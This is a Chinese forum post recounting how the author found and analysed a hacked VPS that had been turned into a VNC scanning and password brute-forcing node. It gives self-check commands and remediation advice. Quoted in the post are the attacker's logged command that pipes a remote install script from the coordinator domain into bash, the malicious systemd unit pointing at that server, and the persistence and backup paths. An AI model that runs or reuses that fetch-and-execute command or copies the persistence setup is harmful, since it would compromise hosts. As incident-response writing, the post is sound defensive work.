• vps

    VPS 被黑后沦为 VNC 扫描 / 爆破节点:一次排查记录及自查方法

    最近发现一台 VPS 的 CPU 占用异常,使用 htop 检查后,发现多个伪装成 systemd 组件的可疑进程。

    进一步排查发现,服务器早在 2026 年 9 月 9 日就已经遭到入侵。攻击者创建了一个名为 systemctl 的账户,赋予 sudo 权限,通过 SSH 登录后安装了一套远程控制程序,将 VPS 变成了 VNC 扫描和密码爆破节点。

    更麻烦的是,这套程序配置了 systemd + cron + rc.local + 多处二进制备份,即使杀死进程或删除部分文件,也可能自动恢复。

    整理一下这次排查过程,也提醒其他 VPS 用户检查自己的服务器。

    一、最初发现:CPU 占用异常

    通过 htop 发现多个高 CPU 占用进程:```
    /var/lib/systemd/catalog/update-helper \
    /var/lib/systemd/catalog/.cache/targets.txt \
    /var/lib/systemd/catalog/.cache/passwords.txt \
    200 3600

    ``另外还发现:``
    /var/lib/systemd/catalog/systemd-sync-helper
    /var/lib/systemd/catalog/systemd-network-monitor
    /var/lib/systemd/catalog/socket-helper

    ```这些名称看起来像正常系统组件,但并不是标准的 systemd 程序。

    检查文件目录:```
    ls -lah /var/lib/systemd/catalog/
    ls -lah /var/lib/systemd/catalog/.cache/

    ``发现了:``
    update-helper 2.8M
    socket-helper 4.2M
    systemd-sync-helper 11M
    systemd-network-monitor 7.1M

    .cache/targets.txt 37M
    .cache/passwords.txt 856B
    .cache/agent.log 33M
    .cache/found_vnc_passwords.txt
    .cache/found_vnc_noauth.txt

    ```从这些文件名、进程参数及后续连接记录判断,这套程序主要用于 VNC 扫描与密码尝试,同时还包含 SSH 爆破组件。

    使用:```
    ss -tanp

    ``发现服务器持续对外建立大量 TCP 连接,目标端口包括 5900、5901、5903` 等常见 VNC 端口。

    例如:```
    37.27.185.201:5900
    65.21.151.28:5900
    78.47.46.133:5901
    95.216.222.142:5903

    ```这些 IP 是扫描目标,不一定是攻击者控制的服务器,更不代表这些目标一定存在漏洞。

    二、发现远程控制和自动恢复机制

    继续检查:```
    systemctl list-unit-files --all | grep -Ei 'helper|update|sync|monitor'

    ``发现了两个可疑服务:``
    systemd-catalog-sync.service
    systemd-resolved-monitor.service

    ``其中主服务配置包含:``
    [Service]
    User=root
    ExecStart=/var/lib/systemd/catalog/systemd-sync-helper
    Restart=always
    RestartSec=3
    OOMScoreAdjust=-1000

    Environment=COORDINATOR_URL=https://vibepass.us
    Environment=BRUTE_BINARY=/var/lib/systemd/catalog/update-helper
    Environment=SSH_BRUTE_BINARY=/var/lib/systemd/catalog/socket-helper
    Environment=COORDINATOR_TLS_SKIP_VERIFY=1

    ``其中的 vibepass.us` 是这次样本中配置的远程协调服务器地址,不是正常的 systemd 更新地址。

    程序还设置了:

    - Restart=always:自动重启服务。

    - OOMScoreAdjust=-1000:尽量避免被 OOM Killer 终止。

    - COORDINATOR_TLS_SKIP_VERIFY=1:跳过协调服务器的 TLS 证书验证。

    - 另一套 watchdog:监控、备份并尝试恢复主 Agent。

    检查 /etc/cron.d/,还发现一个 sys-warden 文件,配置了开机运行和每 5 分钟检查一次守护程序:```
    @reboot ...
    /5 * ...

    ``此外,/etc/rc.local` 也被添加了启动命令。

    进一步从日志中发现,守护程序还会:

    - 使用 chattr +i 保护自身文件。

    - 在多个隐藏目录保存可执行文件备份。

    - 监控主 Agent 是否存活。

    - 尝试恢复被停止或丢失的组件。

    发现的备份路径包括:```
    /var/lib/systemd/private/.sys
    /var/lib/accountsservice/.helper
    /usr/local/lib/.sys-monitor
    ``所以,**单纯 kill` 进程或删除主程序,并不能保证清理干净。**

    三、通过 SSH 日志追溯到了安装过程

    这部分是最关键的发现。

    使用:```
    journalctl -u ssh --since "2026-09-08" \
    --until "2026-09-16" --no-pager \
    | grep -E 'Accepted |session opened'
    ``发现一个从未由我创建过的用户:``
    systemctl
    ``注意,这里不是 Linux 的 systemctl` 命令,而是攻击者使用的 Linux 用户名。

    它拥有 sudo 权限:```
    uid=1000(systemctl)
    groups=1000(systemctl),27(sudo)
    ```通过系统日志还原出的时间线如下(服务器时间 EDT):

    时间 |
    事件 |

    09-09 02:37:55 |
    系统收到 SIGINT,进入重启流程 |

    09-09 02:38 左右 |
    账户数据库发生修改 |

    09-09 02:39:16 |
    systemctl 通过本地终端登录 |

    09-09 02:39:44 |
    该账户通过 sudo 编辑 SSH 配置 |

    09-09 02:40:03 |
    从 104.153.208.101 SSH 密码登录成功 |

    09-09 02:40:39 |
    从 45.39.60.60 SSH 密码登录成功 |

    09-09 02:40:40 |
    使用 sudo 下载并执行远程安装脚本 |

    09-09 02:40:50 |
    恶意 watchdog 服务启动 |

    09-09 02:40:56 |
    恶意扫描 Agent 启动 |

    09-09 02:40:57 |
    建立隐藏备份和其他自恢复机制 |

    其中最有说服力的是 sudo 日志,记录了攻击者执行安装脚本的行为。

    整理后的关键命令如下(认证信息已隐藏):```
    curl -fsSL \
    -H 'Authorization: Bearer [REDACTED]' \
    'https://vibepass.us/files/install.sh' \
    | bash
    ``这说明有人使用 systemctl` 账户取得了 root 权限,并直接执行远程下载的脚本。

    9 月 15 日,还发现来自 185.255.126.3 的两次 systemctl 密码登录成功记录。

    这些 IP 是相关 SSH 登录的来源 IP,不足以直接确认攻击者的真实身份,也不能排除代理或中转服务器。

    四、后门账户是什么时候创建的?

    通过对比系统保留的账户数据库备份:```
    diff -u /etc/passwd- /etc/passwd
    diff -u /etc/group- /etc/group
    ``发现:``
    +systemctl:x:1000:1000::/home/systemctl:/bin/sh
    ``以及:``
    -sudo:x:27:
    +sudo:x:27:systemctl
    ```/etc/shadow- 中同样没有这个账户,而当前 /etc/shadow 中存在。

    账户数据库的文件修改时间集中在 9 月 9 日 02:38 左右,与系统重启及后续登录高度吻合。

    另外,日志显示系统在重启之后,先出现了 systemctl 的本地终端登录,随后才出现 SSH 登录。

    因此怀疑攻击者可能利用 VPS 控制台、救援环境或之前取得的管理权限创建账户,但目前还没有证据确定最初的入侵入口。

    这里也有一个值得一提的背景:这台 VPS 之前曾经出现过另一个未经授权的账户 userb,当时已经进行过清理,但没有重装系统。

    这两次事件是否存在关联,目前不能确认。

    五、建议其他 VPS 用户如何自查?

    以下命令主要用于检查,不会主动删除文件或停止服务。

    1. 检查高 CPU 占用和异常进程```
    htop

    ps auxww --sort=-%cpu | head -30
    ``特别关注运行在 /tmp、/var/tmp、/dev/shm` 或不寻常系统数据目录中的未知可执行程序。

    2. 检查最近的成功 SSH 登录```
    last -ai | head -50

    journalctl -u ssh --no-pager \
    | grep 'Accepted ' | tail -50
    ``部分系统的服务名为 sshd,也可以直接检查 /var/log/auth.log*`。

    3. 检查账户和 sudo 权限```
    awk -F: '$3 >= 1000 && $3 < 65534' /etc/passwd

    awk -F: '$3 == 0' /etc/passwd

    getent group sudo
    ```检查是否存在自己不认识的用户。注意 UID 大于等于 1000 的账户不一定是恶意账户。

    4. 检查 systemd 自定义服务```
    systemctl list-unit-files --type=service

    ls -lah /etc/systemd/system/
    ``对可疑服务可以继续:``
    systemctl cat suspicious.service
    systemctl status suspicious.service
    ``不要仅因为服务名称包含 systemd` 就认为它是可信的。

    5. 检查定时任务和其他自启动项```
    crontab -l

    ls -lah /etc/cron.d/
    ls -lah /etc/cron.hourly/

    cat /etc/rc.local 2>/dev/null
    ``还应关注 /etc/crontab`、其他用户的 crontab,以及 systemd timers。

    6. 检查异常网络连接```
    ss -tunap
    ```如果 VPS 没有扫描业务,却出现大量对不同外部 IP、不同端口的并发连接,需要进一步排查对应进程。

    7. 检查 SSH 的实际配置```
    sshd -T | grep -Ei \
    'permitrootlogin|passwordauthentication|pubkeyauthentication'
    ``不要只检查 /etc/ssh/sshd_config` 中是否注释了某项设置,还需要检查实际生效的配置。

    六、处理建议

    如果确认服务器已经遭到入侵,尤其是攻击者已经取得 root 权限:

    - 尽快通过服务商防火墙阻断恶意流量。

    - 保留必要的日志、快照和证据。

    - 不要认为删除恶意用户或进程就已经安全。

    - 最好从可信系统镜像重装,只恢复经过检查的业务数据和配置。

    - 轮换 SSH 密钥、密码、应用密钥,以及可能泄露的其他凭据。

    - 尽量使用 SSH 公钥登录,禁用密码认证,并限制 SSH 管理入口。

    对于重要服务,建议使用新的 VPS 实例重新部署,而不是继续信任一台已经被 root 权限恶意程序长期控制的系统。

    最后

    这次比较意外的是,恶意程序并没有使用特别隐蔽的技术,而是利用看起来正常的 systemd 命名、隐藏目录、自动重启、定时任务和备份恢复机制,长期驻留在服务器中。

    如果不是因为 CPU 占用异常,可能还不会这么快发现。

    目前已经确认了恶意程序的安装过程及多个持久化入口,但最初如何获得服务器管理权限,仍在调查中。

    也提醒大家:如果 VPS 曾经被黑过,尤其是对方已经取得 root 权限,只删除一个后门账户可能远远不够。重装系统通常才是更可靠的恢复方式。

    主楼
  • nodedeep

    总结:重装系统

    #1
  • 清清荷凌

    高端,看都看不懂

    #2
  • zzsy

    yun

    #3

发表回复

登录后回复